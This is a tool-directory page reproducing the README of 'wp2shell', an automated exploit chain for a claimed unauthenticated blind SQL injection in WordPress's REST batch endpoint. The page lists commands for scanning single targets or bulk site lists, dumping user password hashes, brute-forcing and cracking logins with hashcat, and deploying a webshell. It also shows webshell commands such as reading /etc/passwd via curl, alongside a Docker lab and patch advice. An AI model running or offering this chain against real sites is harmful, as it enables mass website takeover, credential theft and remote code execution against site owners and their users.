Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell — Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only. | Kitploit
Tools/GitHubGitHub/0xwhoknows/wp2shell
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHub0xwhoknows/wp2shell

wp2shell

Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

wp2shell

WordPress REST batch route-confusion blind SQL injection — automated exploit chain.

CVE-2026-63030 / CVE-2026-60137

AffectedWordPress 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1
FixedWordPress 6.9.5 / 7.0.2
Sinkauthor__not_in SQL via desync'd author_exclude parameter
Auth requiredNone (unauthenticated SQLi)

For authorized security testing only.


How it works

The WordPress REST API batch endpoint (/wp-json/batch/v1) allows nested batch requests. A double-nested desync payload shifts the internal $matches / $validation arrays, routing a crafted author_exclude value into the author__not_in SQL without sanitization. This gives unauthenticated blind boolean + timing SQL injection.

Exploit chain — 4 phases:

root@kitploit:~
Phase 1  Vulnerability check     batch marker probe + optional SQL timing
Phase 2  Hash harvest            blind SQLi extracts wp_users (login + hash)
Phase 3  Authentication          wordlist attack via wp-login.php
Phase 4  Webshell deployment     plugin ZIP upload -> RCE verify

Requirements

  • Python 3.8+
  • aiohttp
  • colorama
root@kitploit:~
pip install aiohttp colorama

Usage

Single target

root@kitploit:~
python wp2shell.py http://target.com

Site list (one URL per line)

root@kitploit:~
python wp2shell.py sites.txt

Site list + custom password file

root@kitploit:~
python wp2shell.py sites.txt -p pass.txt

Known credentials (skip wordlist)

root@kitploit:~
python wp2shell.py http://target.com --user admin --password admin123

Confirm SQLi with timing

root@kitploit:~
python wp2shell.py http://target.com --confirm-sqli

No pretty permalinks

root@kitploit:~
python wp2shell.py http://target.com --rest-route

Through Burp proxy

root@kitploit:~
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

Options


Output files

FileContent
creds.txthttp://target=>user:pass (plaintext if cracked, hash if not)
webshell.txtLive webshell URL
VULNERABLE.txtAll targets where phase 1 confirmed vulnerability

All files append — results accumulate across runs.

Using the webshell — append ?cmd=COMMAND to the URL in webshell.txt:

root@kitploit:~
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

Offline cracking

If the wordlist misses, creds.txt contains the extracted hash:

root@kitploit:~
hashcat -m 400 creds.txt wordlist.txt

Then rerun with the cracked password:

root@kitploit:~
python wp2shell.py http://target.com --user admin --password <plaintext>

Local lab (Docker)

Spins up a vulnerable WordPress 7.0.1 instance for safe local testing.

First run — build volumes and install WordPress:

root@kitploit:~
docker compose up -d db wordpress
docker compose run --rm wpcli

Subsequent starts:

root@kitploit:~
docker compose up -d db wordpress

Stop:

root@kitploit:~
docker compose down

Full reset (wipes all data):

root@kitploit:~
docker compose down -v

Run exploit against the lab:

root@kitploit:~
python wp2shell.py http://localhost:8080

Patching

Update to WordPress 6.9.5 or 7.0.2. The fix validates the batch route before dispatching nested requests, preventing the desync that exposes the SQL sink.


Legal

For use on systems you own or have explicit written authorization to test. Unauthorized use is illegal.

Download Tool
FlagDefaultDescription
target—URL (http://target) or path to site list file
-p FILE—Password list file (one per line)
--user—Skip wordlist, use this username
--password—Skip wordlist, use this password
--confirm-sqlioffSend active SQL timing probe after marker check
--rest-routeoffUse /?rest_route=/batch/v1 (no pretty permalinks)
--sleep N3.0SQL SLEEP() delay in seconds
--samples N3Timing sample pairs for median calculation
--timeout N30.0HTTP request timeout
--prefix PREFIXwp_Database table prefix
--proxy URL—HTTP/HTTPS proxy
URLhttp://localhost:8080
Adminadmin / admin123
MySQL hostdb
MySQL user/passwpuser / wppass
Databasewordpress